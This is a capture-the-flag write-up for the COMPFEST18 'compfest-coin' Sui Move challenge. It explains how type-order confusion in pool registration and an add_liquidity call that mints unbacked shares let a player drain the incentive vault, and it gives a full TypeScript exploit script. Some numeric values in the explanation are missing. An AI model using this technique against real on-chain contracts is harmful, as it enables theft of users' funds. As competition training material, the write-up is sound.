compfest-coin
- •
Attribution
- •
Solved by rn. AI-assisted solve; original assistance links are preserved below.
- •
- •
What it asked
- •
Make the account’s earned incentive reach the bounty target , then satisfy
setup::solve.
- •
- •
Approach
- •
canonical_marketsorts the two type identifiers, so the canonical identity of<SUIX,USDC>equals that of<USDC,SUIX>. Pool registration still distinguishes their ordered type arguments. This permits a reversed pool to satisfy the canonical-market comparisons. - •
Created
RoutePool<USDC,SUIX>with and . The raw reserve ratio is therefore . - •
Registered
RouteStrategy<bool>using the witnesstrue.boolsatisfies the genericdropconstraint; that constraint does not establish a privileged strategy identity. - •
Opened a position and called
add_liquiditywith . That entry point accepts a share count without requiring corresponding deposited coin objects. - •
Initially, . After adding 1000 shares, both values are , and the position owns 1000 shares. Its effective liquidity is , exceeding the threshold 500.
- •
The claim uses , then caps the result by the vault balance. Since and the vault holds 1000, the claim transfers 1000 and meets the target.
- •
The creator does not need to receive all initial LP shares. The exploit depends on minting unbacked position shares and inconsistent market/price interpretation, not merely on integer rounding.
- •
The original solve encountered CLI transport trouble and used the JSON-RPC SDK path. Keep that environment detail separate from the vulnerability.
- •
- •
Solution
- •
import { Transaction } from '@mysten/sui/transactions'; // client and signer use the JSON-RPC SDK setup from the original solve. // ids contains package, registry, config, vault, account, oracle, setup. // USDC and SUIX are the challenge's fully qualified coin type strings. export async function solveCoin(client, signer, ids, USDC, SUIX) { async function call(target, types, args, createdType) { const tx = new Transaction(); tx.moveCall({ target: `${ids.package}::${target}`, typeArguments: types, arguments: args(tx) }); const r = await client.signAndExecuteTransaction({ signer, transaction: tx, options: { showEffects: true, showObjectChanges: true } }); await client.waitForTransaction({ digest: r.digest }); if (r.effects?.status?.status !== 'success') throw new Error(JSON.stringify(r.effects)); if (!createdType) return r.digest; const matches = (r.objectChanges || []).filter(x => x.type === 'created' && x.objectType.includes(createdType)); if (matches.length !== 1) throw new Error('Inspect created objects: ' + JSON.stringify(r.objectChanges)); return matches[0].objectId; } const pair = [USDC, SUIX]; const strategy = await call('registry::register_route_strategy', [...pair, 'bool'], t => [t.object(ids.registry), t.pure.bool(true)], '::RouteStrategy<'); const pool = await call('pool::create_route_pool', pair, t => [t.object(ids.registry), t.object(ids.config), t.pure.u64(1), t.pure.u64(1000)], '::RoutePool<'); const position = await call('pool::open_position', pair, t => [t.object(pool)], '::Position<'); await call('pool::add_liquidity', pair, t => [t.object(pool), t.object(position), t.pure.u64(1000), t.object(ids.config)]); await call('vault::claim_route_incentives', [...pair, 'bool'], t => [ids.vault, pool, strategy, position, ids.account, ids.oracle, ids.config].map(x => t.object(x))); return await call('setup::solve', [], t => [ids.setup, ids.account, ids.config].map(x => t.object(x))); } - •
The object type filters match the named challenge structs; if an SDK response reports a differently named position struct, inspect the successful transaction’s created objects and select the actual position object. Never infer object IDs from transaction order.
- •
- •
Verification
- •
The PDF records successful completion. Check each transaction’s effects and the final solve condition. This sequence was reviewed from the writeup, not replayed against Sui during this refactor.
- •
- •
Concepts
- •
Source
- •
Source: team PDF, “Write Up COMPFEST18 Qualifier by PLN - Dokter Amnesia Pecinta PDF”. Page numbers below refer to the PDF’s printed page numbers. Printed pp. 20–33.
- •
AI assistance: https://share.gemini.google/bOWFyG78xkAq
- •
AI assistance: https://claude.ai/share/2c8c0fa1-ec5a-43fe-be2f-0b68adac095e
- •